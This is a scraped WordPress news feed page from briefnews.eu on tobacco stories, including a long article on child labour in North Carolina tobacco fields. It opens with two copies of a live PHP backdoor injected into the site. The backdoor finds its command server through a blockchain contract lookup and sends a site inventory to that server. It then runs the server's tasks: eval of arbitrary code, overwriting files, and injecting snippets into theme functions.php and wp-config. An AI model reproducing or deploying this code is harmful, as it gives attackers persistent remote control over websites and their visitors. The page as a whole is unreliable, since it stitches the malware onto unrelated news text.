// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); tobacco – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Nov 2018 10:54:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png tobacco – Brief News https://briefnews.eu 32 32 ‘Troubling signs’: Health Canada to review tobacco strategy as smoking rate spikes https://briefnews.eu/troubling-signs-health-canada-to-review-tobacco-strategy-as-smoking-rate-spikes/ https://briefnews.eu/troubling-signs-health-canada-to-review-tobacco-strategy-as-smoking-rate-spikes/#respond Tue, 20 Nov 2018 10:54:00 +0000 http://briefnews.eu/troubling-signs-health-canada-to-review-tobacco-strategy-as-smoking-rate-spikes/ smoking ban

Health Canada is looking for outside experts to review its tobacco control strategy — a federal program that appears to have hit a wall after years of helping to drive down smoking rates.

]]> https://briefnews.eu/troubling-signs-health-canada-to-review-tobacco-strategy-as-smoking-rate-spikes/feed/ 0 Life insurance companies no longer treating marijuana use as high risk as tobacco https://briefnews.eu/life-insurance-companies-no-longer-treating-marijuana-use-as-high-risk-as-tobacco/ https://briefnews.eu/life-insurance-companies-no-longer-treating-marijuana-use-as-high-risk-as-tobacco/#respond Tue, 03 Jul 2018 02:47:45 +0000 http://briefnews.eu/life-insurance-companies-no-longer-treating-marijuana-use-as-high-risk-as-tobacco/ CALIFORNIA MARIJUANA

Some of Canada’s biggest insurance companies have updated their policies on marijuana use. The changes have a major impact on regular users’ premiums.

]]> https://briefnews.eu/life-insurance-companies-no-longer-treating-marijuana-use-as-high-risk-as-tobacco/feed/ 0 Australia wins landmark tobacco packaging ruling at World Trade Organization https://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/ https://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/#respond Thu, 28 Jun 2018 16:44:50 +0000 http://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/ Australia Tobacco

Australia won a clear victory in a major trade dispute over its pioneering tobacco packaging law.

]]> https://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/feed/ 0 The Overlooked Children Working America’s Tobacco Fields https://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/ https://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/#respond Sat, 23 Jun 2018 04:55:02 +0000 http://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/ KINSTON, North Carolina—They would wake up at five or six in the morning. They didn’t know where they were going, but they knew how far it was, what time the day had to start. Yesenia Cuello’s mother would fix breakfast, or if the girls were up early they would do it themselves to help her out. Then the preparations for the day would start. Burritos, in the microwave, wrapped in napkins, wrapped in foil. The perfect food for working tobacco: You can eat it with one hand, no need for the break you won’t get anyway. Gloves, the trash bags, hats, water. Then the white van would pull up outside the trailer where they lived, and they would jump in, ready for a long day of work.

When Yesenia and her sisters told their mother they wanted to work with her back in 2005, her mom said no at first. A single mother who had just moved her four kids from California, she was determined to keep her young girls out of the fields. But the girls, who were out of school for the summer, knew money was tight. Around the trailer park, people called them chicas poderosas, “powerful girls”: When they stuck together they could get what they wanted. And so their mother relented, thinking the girls would never be able to survive the day anyway. Yesenia, who was 12 at the time, as well as her two sisters who were 10 and 11, began to work tobacco.

They had intended to use the money for kid stuff, school supplies at the local Walmart, and clothes from the flea market. When they got out there with their mother and saw how hard it was, they knew they had to keep going back. “The first day was sunup to sundown,” Yesenia told me. She now works with NC FIELD, a migrant-worker service organization, running a group for farmworker kids. “Because of that we continued to go in order to help her out. We did realize that it was really hard and she was there without us.” They gave her money to help pay the bills, keeping a small amount for themselves.

Although today tobacco picking is done by machine, much of the rest of the production is done by hand. Workers line up row by row and rapidly move down the lines of plants, topping (taking off the buds and flowers), suckering (taking off the “suckers,” or unwanted shoots), and lifting up the plants to pull out the weeds at the bottom. Yesenia says her back still bothers her though she hasn’t worked tobacco in eight years, all that bending over and standing for 12 hour days on uneven ground. She’s tall—almost six feet—but sometimes the plants were so high that she lost track of her mom, who worked faster. Her mom would wait and they would do the next one together, sticking with each other and checking in throughout the day. “We were fortunate to be able to have her there with us,” Yesenia told me. “What you see a whole lot is unaccompanied youth.”

In most industries in the United States, child labor is highly regulated. Children need to be 14 to 16 years old to work, depending on the industry, and there are standards governing what they can and cannot do. The Fair Labor Standards Act makes exceptions for many small farms, meaning they can hire children at any age—an exception that many family farms have relied on to run their businesses. On bigger farms, children with parental permission may work for hire as young as 12, and do work deemed to be hazardous as young as 16. The lack of standards for child labor in agriculture dovetail with the lack of protections for farmworkers more generally: Under federal law, farmworkers cannot legally collectively bargain, and rarely receive benefits and overtime.

In eastern North Carolina, where Yesenia lives, agriculture is big business. According to data from North Carolina State University, agriculture makes up 17 percent of the state’s economy and 17 percent of its workforce. Seventy-five percent of the state’s cash crops are grown in this part of the state, where the low fields seem to flatly run forever into the sea. In between are small towns, farmhouses, abandoned barns, and strip malls. (Cash crops are crops grown for commercial value rather than personal consumption.) Although tobacco production has been on the decline, the 2017 State Agriculture Overview lists tobacco as the state’s most valuable crop, bringing in $ 724 million last year. It’s a defining product of the state, and known for being high quality. International tobacco companies such as China National Tobacco, Philip Morris International, and British American Tobacco use North Carolina tobacco.

By definition, migrant farmers move from crop to crop, and child workers are no different, moving from tobacco to cucumbers, blueberries, and then sweet potato as the season progresses. (There aren’t exact numbers, but Reid Maki, the coordinator of the Child Labor Coalition at the National Consumers League, a consumer-advocacy nonprofit, estimates there are 300,000 to 400,000 child workers in U.S. agriculture. The government doesn’t have recent, detailed statistics on these workers.)

Tobacco is planted by June. A few weeks later, “the crop is ready to start topping,” Melissa Bailey Castillo, the outreach coordinator at the Kinston Community Health Center, told me. “It is labor-intensive for a few weeks, where you need as many people as you can to get it topped as quickly as you can.” This means that farmers are pressured to fill the fields quickly with workers and look for able bodies rather than paperwork. “So it is a prime candidate for child labor,” she added.

For many migrant workers in North Carolina, working tobacco is “a rite of passage,” Norma Flores Lopez, of Migrant Head Start, an organization that provides services to migrant-worker children, told me.

As far a rites of passage go, it’s one that’s more or less hidden from view—with employers, companies, and consumers alike not seeing the labor that goes into tobacco picking. It is very hard to tie a specific worker to the cigarette at the end of the chain. Workers often do not even know the farm they are on (and in many cases contractors will not tell them) or who they are working for. They are often paid in cash, and give no identification when they show up to work. In this way, the workers are invisible, and because their work is largely unregulated, the government isn’t watching closely either.

“The biggest thing I noticed when we were advocating for child-labor abolition was that farmers were like, ‘Kids, what kids? I don’t have kids,’” Castillo told me. The farmers could simply point to a contractor. “Farmer Brown has willful ignorance. He doesn’t know he doesn’t want to know.” Castillo points out there are thousands of acres to manage, and hundreds of workers. “It doesn’t excuse them, but they really don’t know. When you start to tell them stories they are mortified.”

I first arrived in Kinston in February, when the sky was still gray and the fields were still brown. The streets were empty besides a young woman selling Girl Scout cookies with her mom and a few out-of-towners arriving to go to Chef & the Farmer, a fancy restaurant whose chef has a show on PBS. Queen Street, the main drag, had an old-time feel, with its Civil War monument and interpretive center, shuttered theater, and painted wooden houses.

But the hallmarks of the coming agricultural season had begun already. The hardware store had signs in the window advertising live chicks and seeds. A white van rolled through, packed with agricultural workers. Soon, the Mexican markets would be crammed with posters advertising seasonal work. And in the fields close to Kinston, the trailer parks would fill with trailers, and the trailers would fill with migrant workers. In these campos, or camps, people live sometimes 10 to 15 to a house, not including children, with 30 to 40 sharing a bathroom. Many trailers are without running water, heat, or electricity. In the summer, cords would run from one trailer to another, linking a few lucky ones with electricity. Contractors in their white vans would drive through asking whether anyone needed work the next day. And people young and old would say yes.

Ingrid, who asked me not to use her last name because she doesn’t want to be publicly identified with such a difficult chapter of her life, began working in the fields when she was 13 in order to provide for her six-week-old son. She had moved in with her father, and he told her she had to work in order to have them stay. “It was at an age where you don’t have the muscles yet, so it was hard,” she said. She is now 22, and drove two hours to come meet me in Raleigh at a Marriott. She was petite, wearing a white top, and chose her words carefully. She still looked impossibly young.

Ingrid recounted how the lack of water in the fields meant that when you went to break for food, there wasn’t always water for you to wash your hands, so you would eat with your hands covered in pesticides and tobacco. “Find some water or just eat,” she said.

A landmark Human Rights Watch study on child labor in tobacco, published in 2014, found that nearly three-quarters of the 141 children they interviewed, all between the ages of 7 and 17, reported “serious symptoms—including nausea, vomiting, loss of appetite, headaches, dizziness, skin rashes, difficulty breathing, and irritation to their eyes and mouths—while working in fields of tobacco plants.” The study also found that many children were exposed to pesticides and other dangers, as well as nicotine. “Child tobacco workers often labor 50 or 60 hours a week in extreme heat, use dangerous tools and machinery, lift heavy loads, and climb into the rafters of barns several stories tall, risking serious injuries and falls,” Margaret Wurth, the author of the report, wrote.

